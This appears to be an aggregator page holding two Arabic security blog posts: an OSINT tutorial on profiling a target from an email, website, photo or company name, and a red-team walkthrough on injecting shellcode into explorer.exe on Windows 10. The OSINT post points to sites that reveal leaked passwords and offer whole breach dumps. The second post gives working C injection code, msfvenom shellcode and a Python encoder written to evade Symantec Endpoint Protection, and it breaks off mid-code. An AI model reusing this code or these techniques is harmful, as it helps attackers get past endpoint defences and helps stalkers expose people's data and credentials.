Quantcast
Viewing all 466 articles
Browse latest View live

مقال: فن جمع المعلومات عن هدفك بواسطه الـOSINT –الجزء الثاني

السلام عليكم ورحمه الله

بعد الأنتشار الرهيب للجزء الأول من المقال في فتره قليله والذي هو عن مقدمه الي الـOSINT (تستطيع  أن ترجع الي المقال من هنا) حيث تخطت عدد مرات المشاهده السبعين ألف في فتره قصيره وبما أن مجال الـOSINT يتطور يوم عن يوم أكثر ويصبح أخطر وأمتع أيضا  فقررت أن أبدأ سلسله مقالات تتحدث عن الـOSINT من أول الأدوات والمواقع الي الخدع والأساليب المتبعه.

لخلق نوعا من النظام سأقسم المقال الي عده أجزاء وكل جزء بداخله الأدوات الخاصه به والخدع أن وجدت مع المحافظه على عدم شرح أداه أو موقع سبق شرحه في المقال السابق بالطبع وفي النهايه أتحدث عن سيناريو حدث من قبل. نبدأ بعون الله Image may be NSFW.
Clik here to view.
😀

البريد الألكتروني – Email

في هذا الجزء من المقال سنتحدث عن كيف تستفيد من معرفتك أيميل الهدف الخاص بك فقط ولكن دون التطرق الي شئ يخص مواقع التواصل الأجتماعي حيث أننا سنخوض في هذا بتعمق في المقال القادم مع بعض الأشياء الأخرى المثيره للأهتمام Image may be NSFW.
Clik here to view.
😀

Hunter.io

Image may be NSFW.
Clik here to view.

يقدم هذا الموقع العديد من المزايا والخدمات مثل أيجاد جميع أيميلات موقع محدد كما بالصور بالأعلى

أو أيجاد أيميل شخص محدد عن طريق تخمين أيميله من إسم الشخص وعنوان الموقع كما بالصوره بالأسفل

Image may be NSFW.
Clik here to view.

أو التأكد من أيميل محدد أذا كان حقيقي أم لا كما بالصوره بالأسفل

Image may be NSFW.
Clik here to view.

كما ترى هو موقع مفيد للغايه ولهم الـAPI الخاص بهم أذا كنت تريد أن تدخله في الأداه الخاصه بك.

Intelligence X

Image may be NSFW.
Clik here to view.

هذا الموقع هناك بعض الغموض حوله وهو يقبل العديد من أشكال المدخلات ليس الأيميلات فقط وبمجرد الضغط على البحث تجد بعض النتايج التي ستثير فضولك بالتأكيد سواء تسريبات منشوره على موقع Pastebin والمواقع التي تشبهه أو اذا قام أحد بذكر هذا الأيميل في مكان ما كما ترى أمامك

Image may be NSFW.
Clik here to view.

بعد بعض التصفح بداخل الموقع لفهم من أين يأتون بهذه النتائج وجدت أنهم يأتون بها من:

  1. Paste sites including historical ones that no longer exist
  2. Darknet: Tor
  3. Wikileaks
  4. North Korea

هذا ما يقولونه لك حريه التصديق أو التكذيب أنا الأهم بالنسبه لي نتيجه البحث التي يأتون بها Image may be NSFW.
Clik here to view.
😀

Image may be NSFW.
Clik here to view.

Pastebin Dump

Image may be NSFW.
Clik here to view.

كما ترى من إسم الموقع فا الموقع متخصص في البحث في البيانات المنشوره على موقع Pastebin اذا كان الايميل المعطى ظهر في تسريب نشر على الموقع وهو ليس بحث مباشر والا كان البحث من خلال موقع pastebin ذات نفسه أفضل بل هو بمثابه أرشيف فستجد عليه ايضا بعض الصفحات الممسوحه أو المحجوبه من على موقع pastebin

Image may be NSFW.
Clik here to view.

لاحظ أيضا أنك تستطيع أستخدام الموقع للبحث عن موقع محدد أذا كان قد ظهر من قبل على موقع pastebin أو تبحث عن أي شيء بشكل عام Image may be NSFW.
Clik here to view.
😀

Image may be NSFW.
Clik here to view.

GhostProject.fr

Image may be NSFW.
Clik here to view.

في المقال الفائت ذكرت موقع HaveIBeenPwned وموقع Hacked-emails لأستخدامهم في البحث عن التسريبات الخاصه بالأيميلات ولذلك فلابد من ذكر موقع Ghostproject وهو أيضا للبحث عن التسريبات لكن المميز بهذا الموقع أنه عندما يجد الأيميل المدخل في أي تسريب يعطيك الباسورد المسرب مع الأيميل ايضا.

ولكن بسبب قوانين الـGDPR أصبح للأسف لا يعرض الباسورد كامل فأصبح يخفي جزء منه على هيئه نجوم كما بهذا المثال:

Image may be NSFW.
Clik here to view.

ولكن تستطيع أن تعرض كلمه السر بالكامل عن طريق التبرع لهم :3

Pwdquery.xyz

Image may be NSFW.
Clik here to view.

هو مثل موقع GhostProject (على تصميم أردئ :V) ولكنه يظهر جزء من الباسورد أيضا

Image may be NSFW.
Clik here to view.

ولكن ليست هناك وسيله لجعله يعرض الباسورد كامل, اذا الأن تسأل لما قمت بالكتابه عنه أذا ؟
فأقول لك لأن في هذه الحالات يجب الا تعتمد على موقع واحد وتقارن النتيجه الخاصه بكل موقع لتظفر بأحسن نتيجه  Image may be NSFW.
Clik here to view.
😀

Databases.today

Image may be NSFW.
Clik here to view.

على خلاف المواقع السابقه هذا الموقع يسمح لك بتحميل بالبحث عن تسريب محدد ومن ثم تحميل ملف التسريب كامل ومن ثم البحث فيه بنفسك.

DomainBigData

Image may be NSFW.
Clik here to view.

من خلال هذا الموقع نستطيع البحث عن جميع المواقع المسجله بهذا الأيميل ويقوم الموقع بهذا عن طريق عمل reverse whois lookup وكا مثال على هذا قمت بالبحث على أيميل الدعم الخاص بجوجل

Image may be NSFW.
Clik here to view.

الأن نكتفي بهذا ولندخل في الجزء الثاني من المقال

الموقع الإلكتروني – website

الأن فرضا أنك لم يكن لديك شيء ألا الموقع الإلكتروني الخاص بالهدف الخاص بك, كيف تستفيد منه وتكشف معلومات عن هدفك على قدر المستطاع ؟ المقال الفائت شرحت موقع shodan , zoomeye ومواقع أخرى ولكن هذا الجزء سنتعمق أكثر Image may be NSFW.
Clik here to view.
😀

SpyOnWeb

Image may be NSFW.
Clik here to view.

في الحقيقه هذا الموقع ليس له أستخدام مباشر بل أننا سنستخدمه لتطبيق خدعه سأشرحها الأن.

عندما تقوم بعمل حساب على موقع من المواقع المقدمه للأعلانات لتقوم بوضع أعلانات في موقعك وكسب بعض المال من متابعين موقعك أو على خدمه من خدمات تحليل الزوار مثل Google Analytics فأنا الأن اخبرك انك قد تكون فعلت غلطه شنيعه قد تكشف عنك العديد من المعلومات!

الكود الذي يخبرك الموقع أن تضعه في موقعك لكي يتمكن من تحليل المتابعين الخاصين بيك هو أو حتى للأعلانات فأنه يحتوي على ID مميز خاص به ويميزك أنت عن باقي المستخدمين ومثال على هذا موقع Google Analytics فا الأن أذا كان لديك أكثر من موقع لكن تستخدم نفس حساب في جميعهم فأي أحد يستطيع أن يجد المواقع الأخرى الخاصه بك عن طريق هذا الأيدي بمجرد أن يأتي به من أي موقع حتى وأن لم تكن مرتبطه بأي شكل فا للأسف أخبرك أنه أصبحت بينهم صله الأن وهذا الذي سنستخدم هذا الموقع به.

معظم خدمات المواقع الشهيره تقوم بنفس المبدأ مثل Google AdSense, Amazon , AddThis و Google Analytics بالطبع ولأستخراج الأيدي الخاص بأي موقع نفتح السورس الخاص بالموقع بأستخدام Ctrl+U أو Ctrl+Alt+U أو غيره ومن ثم أبحث على الأتي (Ctrl+F) :

  • أبحث عن Pub- أو ca-pub في حاله أستخدام Google AdSense
  • أبحث عن UA- في حاله أستخدام Google Analytics
  • أبحث عن &tag= في حاله أستخدام موقع Amazon
  • أبحث عن pubid في حاله أستخدام موقع AddThis

الأن بعدما أصبح معك الأيدي تدخله في موقع SpyOnWeb وسيقوم بعرض جميع المواقع التي تستخدم الكود نفسه وأنا على سبيل الشرح قمت بالتجربه على موقع Ted ووجدت أنه يستخدم خدمه Google Analytics وأتيت بالأيدي وكانت هذه النتيجه:

Image may be NSFW.
Clik here to view.

لاحظ أنك غير ملزم بهذا الموقع فأنت تستطيع أن تستخدم موقع Nerdy Data أيضا أو موقع SameID أو حتى تستخدم جوجل كلهم سيقومون بنفس الغرض.

Whoxy

Image may be NSFW.
Clik here to view.

يقدم موقع whoxy العديد من الخدمات ولكن أهتمامنا هنا بخدمه whois history والتي تتيح لك معرفه تاريخ الموقع عن طريق عرض كل الـwhois records الماضيه للموقع وبالتفصيل وليس الـrecord الحالي فقط فا بالتجربه على جوجل نرى هذا الناتج:

Image may be NSFW.
Clik here to view.

DNSTrails

Image may be NSFW.
Clik here to view.

يقدم موقع dnstrails العديد من الخدمات في مكان واحد والذي يغنينا عن أستخدام العديد من المواقع لمعرفه كل شيء فهو أول شيء يقوم بعرض كافه الـDNS Records الحاليه الخاصه بالموقع الهدف مثل في حاله جوجل

Image may be NSFW.
Clik here to view.

والأجمل أنه يقوم بعرض الـHistory data ولكن ليس للـwhois records هذه المره وأنما للـDNS Records بالطبع فا ترى تاريخ كل record والذي قد يعطيك معلومات قيمه أن لم يكن الهدف حذر في الماضي قدر حذره الأن Image may be NSFW.
Clik here to view.
😀

Image may be NSFW.
Clik here to view.

وأخيرا يقوم بعرض جميع المواقع الفرعيه أو الـSubdomains الخاصه بالموقع والذي هم في حالتنا 10875 موقع فرعي بالطبع لأننا نتحدث عن جوجل هنا

Image may be NSFW.
Clik here to view.

كما ترى الموقع يغنينا عن مواقع عديده ولكن دائما لا تستخدم مصدر واحد اذا أردت أن تتأكد من نتيجتك

crt.sh

Image may be NSFW.
Clik here to view.

يمكنا موقع crt.sh من عرض جميع الـtransparency logs الخاصه بالشهاده الخاصه بالموقع وتستطيع أن تقرأ عنها أكثر من هنا حتى لا نخرج عن موضوعنا.
تكشف لنا الـtransparency logs العديد من المعلومات المهمه ولكن أهمها المواقع الفرعيه الخاصه بالموقع

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

ولكن قد يخطر على بالك الأن ولما قد أريد أن أتي بالمواقع الفرعيه من الشهاده الخاصه بالموقع وأنا قد أتيت بها بالفعل من مواقع أخرى والتي في حالتنا هنا DNSTrails ؟

لأن قد يكون هناك موقع فرعي لم يسجل أو يرى بعض ألا في الشهاده مما يعطيك أسبقيه.

وتستطيع أيضا أن تستخدم الموقع الخاص بجوجل لنفس الهدف أو موقع censys

الأن نكتفي بالكلام عن المواقع وندخل على الجزء التالي لأن هناك بعض الاجزاء التي تركت لتذكر فيه Image may be NSFW.
Clik here to view.
😀

صورة

الأن أن لم يكن لديك ألا صورة عن/من الهدف فكيف تستفيد منها ؟ بالطبع أول شيء ستفكر فيه هو الـMeta Data الخاصه بالصورة والذي تكلمت عنه في المقاله السابقه ولكن هل هذا هو كل شيء؟ لنرى Image may be NSFW.
Clik here to view.
😀

Archive.org wayback machine images

Image may be NSFW.
Clik here to view.

مشروع الـweb archive هو مشروع يقوم بأرشفه جميع المواقع التي على الأنترنت علي هيئه snapshots تستطيع أن تلجأ لها لترى تطور أي موقع من وقت بدأه والذي هو شيء يمكن أن يستغل لصالحنا عن طريق أن نرى نسخه من الموقع الهدف ومن ثم قد نجد ملف قد مسح أو خطأ لم يراه وقتها وبعدها مسحه فكما قلت من قبل الهدف بالتأكيد لم يكون حذر بالماضي كما هو حذر الأن ولكن ليس هذا ما سنتحدث عنه هنا فهذا جزء الصور أتتذكر !؟

Image may be NSFW.
Clik here to view.

الفكره هنا أو الخدعه التي أريد أن أقولها أنك تستطيع أن تستخدم الموقع في أن تأتي بصور من الماضي ومن ثم تستخرج الـExif Data بأستخدام موقع مثل exifdata.com أعتمادا على فكره أنه قد يكون أخطيء ورفع صورة في الماضي بدون أن يحذف الـExif Data الخاصه بها وهو سيناريو وراد للغايه Image may be NSFW.
Clik here to view.
😀
وبالأسفل تجربه لأستخراج الصور من نسخه عشوائي من جوجل بأستخدام سطر جافا سكربت دون الحاجه أن أكتب لها سكربت

Image may be NSFW.
Clik here to view.

وبعدها يتبقى أخذ رابط كل صورة وأرساله لأي موقع لأستخراج الـExif data من هذه الصورة.

لاحظ أيضا أنك تستطيع أن تقوم بأستخدام الـCache services الخاصه بمحركات البحث مثل جوجل أو Bing بدل أن تستخدم Archive.

stolencamerafinder

Image may be NSFW.
Clik here to view.

يقوم هذا الموقع بالبحث عن الصور التي تم تصويرها بنفس الكاميرا التي أعطيته السريال الخاص بها وهو شيء مفيد للغايه أذا سرقت كاميرا خاصه بك فتعرف ما الصور التي صورها اللص بكاميرتك ورفعها على الأنترنت ولكن هناك فائده أخرى لهذه الموقع بالنسبه لنا.

بعدما تقوم بأستخراج الـExif Data لأي صورة ستجد في جزء الـTags الذي تهمله كل مره السيريال الخاص بالكاميرا Image may be NSFW.
Clik here to view.
😀

هذا اذا يمكننا الأن أن نصل الي باقي صور الهدف التي تم تصويرها بنفس الكاميرا بعدما كان معنا صورة واحده عنه/منه مما يفتح الباب لمعلومات محتمله أخرى عنه Image may be NSFW.
Clik here to view.
😀

remove.bg

Image may be NSFW.
Clik here to view.

بالطبع عندما ترى هذا الموقع ستقول وما علاقه حذف خلفيه الصور بالـOSINT وسأقول لك لا علاقه به بتاتا ولكن هو يسهل الفكره  أو الخدعه التي سأشرحها الأن Image may be NSFW.
Clik here to view.
😀

في المقال السابق تكلمت عن الـReverse image lookup وتحديدا عن موقع TinEye وأن الـReverse image lookup هو يعتبر بمثابه عمل تعقب للصوره فهو يأتيك بكل النسخ الأخرى من الصوره ومصدرها والباقي عليك لتحديد مصدر الصوره الأصلي فهو يأتي الصور التي “تشبه” الصوره المعطاه وهنا مربط الفرس.

أعتمادا على هذه الفكره لو لديك صوره للهدف وحده مثلا وقمت بأزاله خلفيه الصوره فأصبح لديك الأن صوره للشخص فقط بدون أي تشويش فا الأن لو قمت بعمل Reverse image lookup فتزيد أحتمالات أنك تجد صور أخرى غير الصوره التي معك ولكن الشبه بينهم هو وجه الشخص نفسه مما سيوصلك الي الحسابات الخاصه بالهدف أو أي مكان به صور أخرى للهدف غير الصوره التي معك, عد الجمايل Image may be NSFW.
Clik here to view.
😀

موقع TinEye هو قوى ومتميز ولكن لا تعتمد عليه وحده فا الأفضل أن تقوم بتجربه نفس الخدمه من مواقع أخرى مثل الخدمه الخاصه بالعملاق الروسي Yandex والذي الكثير من الناس أنه هو الأفضل في الـReverse image lookup وقم بالتأكد عن طريق نفس الخدمه على موقع Google وموقع Bing لتزيد فرصتك.

Forensically

Image may be NSFW.
Clik here to view.

هو موقع مميز تظهر فائدته الكبرى عندما تكون تريد أن تخرج شيء محدد من الصوره أو بالتحديد عندما تكون تحاول أن تحدد مكان ووقت ألتقاط الصوره (والذي هو يسمى بالـGeoINT و قد نتحدث عنه بالتفصيل في مقال أخر Image may be NSFW.
Clik here to view.
😀
) وذلك بسبب كثره أدوات تحليل الصور الموجوده الموجوده بالموقع.

إسم الشركه

الأن ندخل في مرحله أعمق ولنفرض أنك لا تعلم أن هدفك سوا إسم الشركه التي يعمل بها فماذا تفعل يا مسكين Image may be NSFW.
Clik here to view.
😀
؟ بالطبع تستطيع أن تبحث عن الموقع الخاص بالشركه من أي محرك بحث لكن أنا هنا أتحدث عن ماهو أكثر فقد يكون هدفك مدير شركه ما

OpenCorporates

Image may be NSFW.
Clik here to view.

كما ترى من عنوان الموقع هو قاعده بيانات كبيره تحتوي على كافه البيانات عن كل الشركات في العالم ولرؤيه كم البيانات التي تحتويه عن كل شركه لنقم بالتجربه على جوجل كالعاده

Image may be NSFW.
Clik here to view.

كما ترى كام بعرض كافه فروع شركه جوجل والدوله والعنوان الخاص بكل الفرع وتستطيع أن تقوم بعمل فلتر لنتايج البحث طبقا للدوله أو الفروع العامله فقط وأكثر في البحث المتقدم أو المخصص.

والأن لنرى ما المعلومات التي بداخل كل فرع مثل أول فرع في الصفحه

Image may be NSFW.
Clik here to view.

كما ترى الرقم الخاص بالشركه والعنوان وبعض المعلومات التجاريه الأخرى

GlassDoor

Image may be NSFW.
Clik here to view.

موقع glassdoor هو من المواقع المشهوره للبحث عن عمل وأن ترى أراء ورواتب من عملوا في الشركه قبلك والذي هو سيفيدك بالطبع في أخذ قرار أن تقدم للعمل في شركه معينه أم لا ولكن في حالتنا سيفيدنا بالطبع بمعرفه بعض المعلومات عن شركه الهدف وعن بيئه العمل هناك.

OCCRP Data

Image may be NSFW.
Clik here to view.

موقع occrp data هو موقع مصيبه بمعنى الكلمه فأولا كلمه occrp هى أختصار لـOrganized Crime and Corruption Reporting Project والتي تعنى “مشروع الأبلاغ عن الفساد والجريمه المنظمه” Image may be NSFW.
Clik here to view.
😀

كما ينص هذا الموقع فهو يحتوي على العديد من السجلات العامه والتسريبات من كل مكان فأنت تستطيع أن تضع أي شيء في البحث وسيأتي لك بكل السجلات أو التسريبات التي ظهر بها إسم هذه الشركه أو الشخص أو حتى الأيميل الخاص به :]

النهاية

في النهايه الأن أكتشفت أن الجزء الذي كنت مخصصه أن أتحدث به في هذا المقال أخذ كلام أكثر مما كنت متوقع مما أنتج هذا الطول ولكني وعدتكم في البدايه بسيناريو حدث من قبل في أخر المقال لذا ساختصر الكلام.

السيناريو الذي كنت أنوي أتحدث عنه هو مقال أنتشر من فتره يقارن خرائط جوجل بخرائط Yandex حيث أنه لو أنك تقوم بالتصفح في خرائط جوجل كثيرا ستلاحظ بعض الـBlurring أو التشويش على بعض الأجزاء في الخريطه على أماكن محدده والتي أتضح بعدها أن هذه أماكن عسكريه أو أماكن سريه تقوم جوجل بأخفائها من القمر الصناعي بالأتفاق مع الدول. أذا أين المشكله ؟

المشكله تكمن أن الموقع الروسي الشهير Yandex لا يقوم بهذا ألا لدول محدده مما يتيح لأي شخص بمقارنه خرائط جوجل بخرائط Yandex ومن ثم يعلم ماهي الأماكن العسكريه في هذه الدوله أو خريطه هذا السجن وما ألى ذلك.

يتناول المقال الحديث عن هذا بالتفصيل أكثر وتحدث عن بعض المباني السكنيه التي تم التشويش عليها مما يخبرنا أنها خاصه بالأستخبارات وما الي ذلك تستطيع أن تكمل المقال من هنا حتى لا نطيل المقال أكثر.

أيضا هذا الموقف يشبهه الذي حدث مع شركه Strava والذي هو عباره عن أشهر تطبيق لمراقبه حركه العدائين وراكبي الدراجات وتقديم الأحصائيات. فما قامت هذه الشركه بعمله هو عمل خريطه سمتها Strava Heatmap وهى خريطه مجمعه لحركه كل الذين يستعملون التطبيق بدون الكشف عن هويتهم بالطبع ولكن أذا أدى للكشف عن بعض الأماكن العسكريه أيضا حيث هناك جنود كان يستخدمون هذا التطبيق في القواعد العسكريه وحولها مما جعلها تظهر للعامه. الخريطه مازالت موجوده حتى الأن تستطيع أن تراها من هنا ايضا وهذه صوره لخريطه العالم من على موقعهم

Image may be NSFW.
Clik here to view.

والأن نصل لنهايه مقالتنا وفي أنتظروني في المقال القادم من هذه السلسله قريبا والحديث عن وسائل التواصل الأجتماعي وأستخراج المعلومات منها والسلام عليكم Image may be NSFW.
Clik here to view.
😀


مقال : تنفيذ Shellcode injection على windows 10 وتخطي Symantec EPP

مُنذ فترة أحاول التركيز بشكل كبير على فهم بعض الأليات المُستخدمة في عمليات الـ Red Teaming وتحديداً أثناء هجمات الـ Client Side Attacks والتي تختص بمحاولة إبقاء الهجوم خفي وهادئ قدر الإمكان على الهدف بعد إختراقه والحصول على limited shell لتجنُب رصده من قبل أي حمايات متوقعه داخل الشبكة.

في هذا المقال إن شاء الله سوف أقوم بشرح تقنية بسيطه تقوم بعمل shellcode injection داخل process تعمل داخل نظام Windows 10 بعد كتابة Custom encoder للـ shellcode الخاص بنا لتجنُب كشفه من Symantec Endpoint Protection

بيئة العمل

سوف نقوم بتنفيذ المقال على windows 10 يوجد عليه Symantec Endpoint Protection بأخر التحديثات المُنصبه , هدفنا هو الحصول على shell من خلال عمل shellcode injection على process تعمل بالنظام وهي “explorer.exe” ويجب أن ننتبه بأننا سوف نستهدف windows 10 يعمل من خلال x64 architecture.

ألية العمل

سوف نقوم بكتابة  C program بسيط وهو عباره عن الـ Malware الذي يقوم بعملية الـ process injection ومن ثُم عمل compile له على windows 10 , وظيفته بكل إختصار كما ذكرت هي حقن الـ shellcode الخاص بنا بعد ما نقوم بعمل decode له داخل الـ explorer.exe ومن ثم تنفيذه.

كما سوف نقوم بكتابة shellcode encoder بسيط جداً يقوم بعمل بعض التغيرات على الـ shellcode الخاص بنا لتجنُب كشفه من SEP كما ذكرنام مسبقاً , وسوف نُضيف الـ decoder الخاص بالـ shellcode من خلال C code بسيط داخل الـ Malware الخاص بنا.

مفهوم الـ Process injection

المقصود بـ Process injection بكل بساطة هو عملية إضافة كود مُعين إلى running process داخل النظام وتشغيل هذا الكود من خلالها , أي لنتفرض بالحالة الطبيعية بأننا نقوم بتشغيل الـ malware الخاص بنا من خلال ملف إسمه superhotfile.exe , فور تشغيل الملف سوف يقوم نظام التشغيل بعمل Process له بإسم superhotfile والتي قد يتم تسجيلها كحدث مُعين وإرسالها لبعض الحمايات أو للأقسام المُختصة بأن هناك عملية غريبه بهذه الإسم تم فتحها على أحد الاجهزة وهُنا قد تكون مُهمة الـ Blue team بمراقبة الـ Process وتحليلها لمعرفة ما تقوم به داخل النظام , ولكن في حال قُمنا بحقن الكود الخاص بنا داخل “legitimate process” لتجنُب أي حمايات قد تُصادفنا.

لفهم مبدأ عمل الـ Process injection بشكل تقني سوف أقوم بتلخيص المفهوم على شكل خطوات كالتالي :

  1. نحتاج لفتح الـ Remote process التي نرغب بعمل injection للـ shellcode الخاص بنا من خلالها , وسوف نقوم بتنفيذ هذا من خلال OpenProcess function 
  2. بعد فتح الـ Remote process سوف نحتاج لحجز مساحة داخل الـMemory “الذاكرة” الخاصة بالـ Process وإعطائها صلاحيات القراءة والكتابة والتنفيذ داخل المساحة التي تم حجزها داخل الـ Memory من خلال VirtualAllocEx function.
  3. الأن أصبحنا جاهزين لكتابة الـ shellcode الخاص بنا داخل الـ memory وسوف نقوم بإستخدام WriteProcessMemory function لتنفيذ هذه العملية.
  4. أخيراً وبعد ما قُمنا بكتابة الـ shellcode داخل الذاكرة سوف نقوم بتشغيله بإستخدام CreateRemoteThread function

وبناءاً على ما سبق قُمت بكتابة هذا الكود الذي يقوم بالعملية وسوف أقوم بتطويره لمراحل مختلفة أثناء المقال

#include <windows.h>
#include <sys/types.h>
#include <unistd.h>
#include <tlhelp32.h>

int main(int argc, char **argv){
	
	int process_id;
	process_id = 8284;
	printf("Process ID is %d\n", process_id);
	
    
// msfvenom -p windows/x64/exec cmd=calc.exe -f c exitfunc=thread

unsigned char shellcode[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00";


	HANDLE process_handle;
	DWORD pointer_after_allocated;
	process_handle =  OpenProcess(PROCESS_ALL_ACCESS, FALSE, process_id);
	if (process_handle==NULL)
{ 
	  puts("[-]Error while open the process\n");

}else{
	puts("[+] Process Opened sucessfully\n");
}
	pointer_after_allocated = VirtualAllocEx(process_handle, NULL , sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if(pointer_after_allocated==NULL){
		puts("[-]Error while get the base address to write\n");
	}else{
		printf("[+]Got the address to write 0x%x\n", pointer_after_allocated);
	}

	if(WriteProcessMemory(process_handle, (LPVOID)pointer_after_allocated, (LPCVOID)shellcode, sizeof(shellcode), 0)){
		puts("[+]Injected\n");
		puts("[+]Running the shellcode as new thread !\n"); 
		CreateRemoteThread(process_handle, NULL, 100,(LPTHREAD_START_ROUTINE)pointer_after_allocated, NULL, NULL, 0); 

	}else{
	puts("Not Injected\n");
	}
	
	
	
}

دعوني أشرح هذا الكود إبتداءاً من السطر 9 وهو السطر المسؤول عن تعريف الـ process id التي نُريد أن نقوم بحقن الـ shellcode الخاص بنا بها ومن ثم نقوم بطباعته بالسطر رقم 10 , السطر رقم 15 من خلاله نقوم بحفظ الـ shellcode داخل shellcode[] , السطر 37 نقوم من خلاله HANDLE وهو بمثابة reference للـ process الخاصة بنا والتي سوف ترجع لنا من خلال الـ OpenProcess function.

بالسطر 38 نقوم بتعريف DWORD variable ليحمل الـ base address الذي تم حجزه بالـ Memory , والسطر رقم 39 نقوم من خلاله بإستخدام  OpenProcess وتمرير الخيارات process_all_access والذي يُعطينا كل الصلاحيات على الـ process التي نُريدها , من هنا تستطيع أن تقرأ أكثر عن الـ process access rights , ومن ثم تمرير قيمة الـ process التي نُريد إستخدامها.

بالسطر 40 نقوم بالتحقق في حال عدم فتح الـ Process وطباعة رسالة بالسطر 41 , وفي حال تمكنا من فتح الـ process سوف نقوم بطباعة الرسالة بالسطر 45, بعد ذلك سوف نقوم بالسطر 47 بإستخدام VirtualAllocEx لحجز مكان بالـ memory وإرجاع قيمة الـ base address داخل المُتغير pointer_after_allocated وبالطبع نقوم بتمرير الـ HANDLE الخاص بالـ process و حجم الـ shellcode “المساحة” التي نُريد حجزها وأخيراً تمرير flAllocationType والتي تحمل القيمة MEM_COMMIT | MEM_RESERVE والتي سوف تُمكننا من حجز المساحة وعمل commit لها وتمرير flProtect والتي تحمل القيمة PAGE_EXECUTE_READWRITE لإعطاء المساحة التي تم حجزها إمكانية القراءة والكتابة والتنفيذ.

في السطر 48 نتحقق من حجز المساحة وفي حال تم حجزها نطبع الرسالة بالسطر 51 مع طباعة الـ base address وفي حال فشلت سوف نطبع الرسالة بالسطر 49.

في السطر 54 سوف نقوم بإستدعاء WriteProcessMemory لكتابة الـ shellcode الخاص بنا داخل الذاكرة من خلال تمرير الـ process_handle الخاص بنا وتمرير قيمة الـ base address وعنوان الـ shellcode الخاص بنا وأخيراً حجم الـ shellcode.

في السطر 57 نقوم بإستدعاء CreateRemoteThread لتشغيل الـ shellcode بالمكان التي تم حجزه بالـ Memory من خلال تمرير الـ process_handle وتمرير الـ base address الخاص بنا مع باقي الخيارات التي تستطيع التعرف عليها من هُنا.

بعد عمل compile للبرنامج من خلال DevCpp سوف نُلاحظ التالي:

Image may be NSFW.
Clik here to view.

بالفعل تم تشغيل الـ shellcode الخاص بنا داخل explorer.exe وتم تشغيل الـ calc.exe لنا , ولكن بنفس الوقت قام symantec بكشف الملف وإعتباره على أنه ضار , إذاً نُريد الأن بان نقوم بإيجاد طريقة لتخطي هذا الموضوع لذلك سوف نقوم بكتابة python encoder بسيط يقوم بقراءة الـ shellcode من msfvenom ومن ثم عمل encode بسيط له.

كتابة Python shellcode encoder

سوف نقوم الأن بكتابة الـ encoder والذي سوف يقرأ الـ shellcode من msfvenom على شكل bytes ومن ثُم إضافة القيمة 0x01 لكل byte ومن ثم طباعته على شكل hex format كأي shellcode يخرُج من msfvenom , وهذا هو الـ encoder:

#!/usr/bin/python

import sys

raw_data = bytearray(sys.stdin.read())

new_shellcode = []
for opcode in raw_data:
        new_opcode = opcode + 0x01
        new_shellcode.append(new_opcode)


print "".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])

حيث كما نُلاحظ بأننا نقرأ من stdin ونحفظ المُدخلات داخل bytearray ومن ثم نقوم بالتعامل مع كل byte بشكل منفصل وعمل إضافة للقيمة 0x01 له وأخيراً طباعته على شكل hex format لنا.

ولتشغيله سوف نقوم بتنفيذ الأمر التالي:

msfvenom -p windows/x64/exec cmd=calc.exe -f raw exitfunc=thread | python shellcode_encoder.py

إستخدمت exitfunc=thread لكي يتم تشغيل الـ shellcode كـ thread فور الإنتهاء من التنفيذ

والذي سوف تكون نتيجته التالي:

Image may be NSFW.
Clik here to view.

هذا هو الـ encoded shellcode الذي سوف نستخدمه في حالتنا , سوف نقوم الأن بكتابة for loop بسيطة تُمثل جزئية الـ decoder الخاصه بنا ليُصبح شكل الكود النهائي الخاص بنا كالتالي:

#include <windows.h>
#include <sys/types.h>
#include <unistd.h>
#include <tlhelp32.h>

int main(int argc, char **argv){
	
	int process_id;
	process_id = 8284;
	printf("Process ID is %d\n", process_id);
	
    
// msfvenom -p windows/x64/exec cmd=calc.exe -f c exitfunc=thread | python shellcode_encoder.py

